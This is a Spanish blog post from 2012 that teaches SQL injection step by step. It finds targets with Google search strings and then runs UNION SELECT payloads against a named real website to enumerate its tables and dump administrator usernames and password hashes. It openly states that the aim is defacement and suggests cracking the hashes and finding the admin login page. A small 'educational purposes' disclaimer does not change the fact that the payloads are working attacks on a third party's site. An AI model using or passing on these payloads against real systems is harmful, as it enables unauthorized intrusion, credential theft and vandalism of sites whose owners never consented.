lunes, 23 de enero de 2012

SQL Injection

  • SQL Injection Basica


Este Tutorial es con Fines educativos no me Hago responzable del mal uso que le den.

Que es SQL Inyeccion

Inyección SQL es un método de infiltración de código intruso que se vale de una Vulnerabilidad Informatica presente en una aplicación en el nivel de validación de las entradas para realizar consultas a una Base de Datos. El origen de la vulnerabilidad radica en el incorrecto chequeo y/o filtrado de las variables utilizadas en un programa que contiene, o bien genera, código SQL. Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocurrir en cualquier lenguaje de Programacion o Script que esté embebido dentro de otro. Se conoce como Inyección SQL, indistintamente, al tipo de vulnerabilidad, al método de infiltración, al hecho de incrustar código SQL intruso y a la porción de código incrustado.
  
Estrucura o diseño de una web que podria ser vulnerable:

Una posible web vulnerable llevaria el siguiente diseño o estructura en su dirección web:

www.urldelaweb.com/pagina.php?id=15

En la parte de pagina podria llevar cualquier otro nombre (music,noticias,notas,libros,etc) les puse pagina comoejemplo simple nada más. El .php?id= es obligatorio que siga de esa misma forma (sin cambios). 
Ahora para terminar en la parte del numero en este caso 15 este tambien puede variar y no afecta, podria serde 0 a infinito eso lo veran a lo largo de sus practicas


A la Practica:

Bueno aquí es donde empieza la Practica vamos a buscar una pagina web vulnerable en GOOGLE para ello nos digiriremos al buscador de google y escribiremos:

php?id=          O           info_page.php?=

 Bueno cuando encontremos una pagina la que yo escoji fue esta (http://microngc.net/info_page.php?id=9) ahora si vamos a proceder con lo que seria una consulta para ver si es vulnerable o no tendríamos que poner esto:

http://microngc.net/info_page.php?id=-1
http://microngc.net/info_page.php?id=”2
http://microngc.net/info_page.php?id=9999
http://microngc.net/info_page.php?id==-

esas son las consultas básicas que veremos en este tutorial bueno probamos con cualquiera de estas consultas y bueno porque genera este error; bueno porque seria algo raro ver una pagina web que tenga caracteres con estos simbolos “ o -1; bueno cuando hagamos la consulta nos tiene que salir este pequeño texto:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Bueno como vemos el sitio en vulnerable a MySql, Aca termina esta sección asi que si ya se aburrieron bueno pues cierren este Blogger no hay problema y si no pues sigan leyendo xD.


Comenzar Ataque

Bueno amigos veo que les intereso mi Blogger bueno cambiando el tema en esta sección lo que vamos a realizar es a efectuar el ataque bueno como ya se supone que encontramos la pagina vulnerable ahora empecemos a jugar con la pagina xD.

Bueno amigos como vimos la pagina es:

http://microngc.net/info_page.php?id=9
ahora lo que hare es consultar si es vulnerable. 
 http://microngc.net/info_page.php?id=-1

Nos tiraria el error antes mencionado de mySQL. Ahora procedemos a poner esto en la url:

http://microngc.net/info_page.php?id=-1+union+select+1--

bueno explicare que hice aquí: lo que hice fue poner el -1, luego poner +unión+select que significa que yo quiero unir la la vulneribilidad que acabo de encontrar luego el +1—aquí vamos a ir poniendo los números del 1 hasta el infinito con coma obviamente “,” xD hasta encontrar algún error en uno de esos números

¿pero que es lo que quieres decir?

Pues bueno ya vamos a eso! Bueno cuando ya tengamos nuestra pagina lista para buscar los errores procedemos a hacer lo que estaba explicando ahorita:

http://microngc.net/info_page.php?id=-1+union+select+1,2,3,4,5--

bueno como ven el mio fue corto llego hasta 5, pero tu pagina puede llegar al 7 o al 13 o hasta algunas veces puede llegar hasta el 45 o.O, bueno cuando ya tengamos hecho esto nos saldrá algo asi en la pagina



Con una serie de números en diferente orden bueno acontinuacion estos son los números que contienen los errores bueno ahora lo que procederemos a hacer es colocar este código es uno de los números que te saldrá por ejemplo asi si no entendiste:

http://microngc.net/info_page.php?id=-1+union+all+select+1,2,group_concat%28table_name%29,4,5+from+information_schema.tables--

como ven yo sustituí el 3 por el código, esta aquí para que lo copien:
group_concat%28table_name%29
bueno el %28 y %29 son los simbolos de ( ) solo que estan es ascii, bueno ahora lo que hara este código es sacarnos todas las tablas de una sola vez hay otra método pero es mas aburrido xD, bueno ya haciendo esto ahora volveremos otra vez a la url y pondremos:
+from+information_schema.table-- 

Nota: Yo primero la puse en algunas web se debe poner todo completo para que funcione asi como en la mia.

Esto que nos sacara la info de schema tables bueno hay ponerlo despues del numero final en mi caso fue el 5. Asi:

bueno para ser lógicos amigos puedes salir varias palabras en la tabla como usuario,usuarios,users….etc
bueno ya cuando encontremos la tabla procedemos a sacar las columnas que tiene esta para ello guardamos la palabra que nos salió de usuarios que en mi caso es esta: administrators .
Bueno ahora lo que procedemos a hacer es pasar la palabra a hexadecimal para ello nos digiriremos a esta web:         http://www.swingnote.com/tools/texttohex.php

Muy bien de ahí nos vamos adonde dice string que hay un cuadro a la par y pondremos la palabra de usuarios que nos salió en mi caso a mi me dio asi: 61646d696e6973747261746f7273
Es sencillo es dificil que se pierdan nada mas copian la palabra y pegan en el cuadro y luego le dan convert y se van donde dice “HEX” y ahí copean ese código y listo xD
Bueno cuando ya tengamos este código lo que haremos ser poner la url con estos parámetros ;)

http://microngc.net/info_page.php?id=-1+union+all+select+1,2,group_concat%28column_name%29,4,5+from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273--

bueno explicare; bueno primeramente borramos el código que había dado este: group_concat%28table_name%29 y colocamos debes de table_name ponemos column_name asi: group_concat%28column_name%29 porque se supone que vamos a sacar las columnas xD.

luego donde dice: +from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273-- aqui lo que agregamos diferente fue despues de “schema.” Pusimos columns y luego le consultamos que busque la columna de usuarios y que donde esta o algo asi jeje que es esta palabra where luego agregamos que queremos que nos diga donde esta que seria”+table_name=”aquí nada mas vamos a nombrar cual tabla es la que queremos ver que seria la de usuarios pero lo que vamos a poner aquí es el code hexadecimal que en mi caso es este: 61646d696e6973747261746f7273
pero lo único diferente es que tenernos que colocar un “0x” y al ultimo ponemos -- entonces quedaría algo asi: 0x61646d696e6973747261746f7273--

Despues de esto nos mostrara o nos tirara la web la informacion que nesecitamos para defacearla en mi caso es:  id,user_name,user_password




Guardamos en un block de nota la informacion que nos voto que fue   id,user_name,user_password  la ponemos en el url pero modificamos un poco la sintaxis de ella asi:
 http://microngc.net/info_page.php?id=-1+union+all+select+1,2,group_concat%28id,0x3a,user_name,0x3a,user_password%29,4,5+from+administrators--

remplazamos group_concat%28column_name%29 por group_concat%28id,0x3a,user_name,0x3a,user_password%29  ponemos la info que encontramos en vez de column_name  separados por 0x3d para que no se vea todo junto y revuelto. 0x30 eso siempre va después del nombre de la columna si quieres sacar todos solo sustituyes los nombre o, no pongas 0x3a al ultimo. Despues en lo ultimo debes de poner +from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273--  pones +from+administrators-- donde administrators es el nombre de la tabla que convertimos anteriormente en hexadecfimal.



Y bueno esto es todo amigos luego después de eso les va a salir el login y la pass encriptada en MD5 o HASH o asi solita xD, si les sale en MD5 o HASH deben primero desincriptarla.

bueno y para que puedan sacar la pagina admin para loguearse en la page les recomiendo este programita es muy bueno, que lo uncio que tienen que hacer es poner la pagina simple como por ejemplo la mia seria asi:

http://www.microngc.net

Entonces le damos en scan lo dejamos asi como esta y empesara a buscar y cuando encuentre una page admin se te abrirá en tu navegador. Bueno descarga el programita aquí.

2 comentarios:

  1. Respuestas
    1. Gracias por comentar esta en MD5 debes desencriptarlo con un desencriptador de MD5 online o programa....
      Saludos...

      Eliminar